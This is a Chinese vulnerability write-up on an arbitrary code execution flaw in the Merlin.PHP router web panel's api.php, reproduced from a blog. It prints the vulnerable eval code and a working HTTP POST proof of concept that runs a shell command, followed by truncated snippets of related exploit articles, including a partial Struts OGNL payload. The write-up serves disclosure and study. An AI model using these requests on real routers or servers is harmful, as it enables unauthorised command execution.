华硕路由器 Merlin.php 代码执行漏洞

Merlin.php

面向 ASUS﹣MERLIN 的 SS Web 管理面板。只支持 http://koolshare.io 下的固件版本。

github链接:https://github.com/qoli/Merlin.PHP

在api.php中使用了eval函数,其他几个参数可控制导致任意代码执行。
代码如下:

<?php
set_include_path(get_include_path() . PATH_SEPARATOR . ‘library/phpseclib‘);
require_once ‘library/MainFunction.php‘;
require_once ‘Net/SSH2.php‘;
require_once ‘library/Requests.php‘;
require_once ‘library/AppFunction.php‘;
Requests::register_autoloader();

$merlin_php = new merlin_php();

if (!isset($_POST)) {
    $merlin_php -> _export("no input");
    exit;
}

$o = _GET("class",‘unknow‘);
$f = _GET(‘function‘,‘unknow‘);

if ($o == ‘unknow‘) {
    $merlin_php -> _export("no input");
    exit;
}

if ($f == ‘unknow‘) {
    $merlin_php -> _export("function?!");
    exit;
}

if (!class_exists($o)) {
    $merlin_php -> _export("class is none");
    exit;
}

$c = new $o();

$agrs = implode(‘,‘,$_POST);

// echo ‘$c->‘."$f($agrs);";

eval(‘$j = $c->‘."$f($agrs);");

echo json_encode($j);

最后能控制的是 eval(‘$j = $c->‘."$f($agrs);");

$j=是一个变量赋值不用管,主要是后面的 $c->$f($agrs); 这里面的三个参数都可控。
$c是基于$o创建的;
$o是获取的参数class值 ;

下面是关键代码:

$c = new $o();
$o = _GET("class",‘unknow‘);
$f = _GET(‘function‘,‘unknow‘);
$agrs = implode(‘,‘,$_POST);

可以看出$o是一个对象,$c是$o对象的实例化,$f是对象的成员方法,$agrs是post传入的参数,也就是成员方法的参数。

随便找了一个类,AppFunction.php 中的 remote 类,看了下里面有个执行命令的方法 command;

public function command($command = ‘whoami‘)
{
        return $this->ssh->exec($command);
}

构造下面请求:

POST /6/api.php?function=command&class=remote HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded

cc=‘ls‘

跟踪执行流程,实际是执行了下面的代码,导致任意代码执行漏洞。

$c = new remote;
$j = $c->command(‘ls‘);

github issue:https://github.com/qoli/Merlin.PHP/issues/27

原文地址:http://blog.51cto.com/010bjsoft/2298902

时间: 2024-08-04 00:08:08

华硕路由器 Merlin.php 代码执行漏洞的相关文章

华硕路由器 Merlin.php 命令执行漏洞

Merlin.php 面向 ASUS﹣MERLIN 的 SS Web 管理面板.只支持 http://koolshare.io 下的固件版本. github链接:https://github.com/qoli/Merlin.PHP 在exec.php中直接获取了command参数使用 popen函数导致命令执行.popen()函数原型:http://php.net/manual/zh/function.popen.php, 第一个参数就是要执行的命令. 这里使用的 GET 自定义函数获取的参数值

Office CVE-2017-8570远程代码执行漏洞复现

实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报.这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程,团队合作. 实验内容 Office CVE-2017-8570 CVE-2017-8570漏

关于发布的CVE-2013-2251漏洞,strust远程代码执行漏洞

(*该漏洞影响版本:Struts 2.0.0 – Struts 2.3.15) (*该博客仅仅只是记录我工作学习时遇到的问题,仅供参考!) (*如果,描述中可能存在错误,请多指教!) 在昨天在对我目前负责的那个项目进行日常维护的时候,系统被别人攻克,上传了一个.txt文件,他人可以直接访问这个项目下txt文件,就可以获取到txt文件内的内容. 首先,介绍下我目前维护的项目,使用的是strust2.1+hibernate3.0架构模式,也就是javaweb+SSH框架,不过为了简化,并没有添加sp

Android WebView远程代码执行漏洞简析

0x00 本文参考Android WebView 远程代码执行漏洞简析.代码地址为,https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo.下面我们分析代码. 0x01 首先列出项目工程目录: MainActivity.java的代码如下: public class MainActivity extends Activity { private WebView webView; private Uri mUr

Apache ActiveMQ Fileserver远程代码执行漏洞

扫端口的时候遇到8161端口,输入admin/admin,成功登陆,之前就看到过相关文章,PUT了一句话上去,但是没有什么效果,于是本地搭建了一个环境,记录一下测试过程. 环境搭建: ActiveMQ 5.1.0 下载地址:http://activemq.apache.org/activemq-510-release.html 解压后,双击运行abtivemq.bat运行.(进入bin目录,根据自己的操作系统选择win32或win64,5.1.0只有win32目录) 访问8161端口: 漏洞利用

s2-048远程代码执行漏洞

在Struts 2.3.x 系列的 Showcase 应用中演示Struts2整合Struts 1 的插件中存在一处任意代码执行漏洞.当你的应用使用了Struts2 Struts1的插件时,可能导致不受信任的输入传入到ActionMessage类中导致命令执行. POC: name=%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)

ElasticSearch Groovy脚本远程代码执行漏洞

什么是ElasticSearch? 它是一种分布式的.实时性的.由JAVA开发的搜索和分析引擎. 2014年,曾经被曝出过一个远程代码执行漏洞(CVE-2014-3120),漏洞出现在脚本查询模块,由于搜索引擎支持使用脚本代码(MVEL),作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行任意命令..."任意"你懂的,比如:利用nc反弹sh

ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析

原理 这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理. ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码. 而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码. 其实官方是清楚这个漏洞的,在文档里有说明: First, you should not run Elasticsearch as

Struts2再爆远程代码执行漏洞(S2-016)

Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行.  描述 影响版本 Struts 2.0.0 - Struts 2.3.15 报告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc. CVE编号 CVE-2013-2251 漏洞证明 参数会以OGN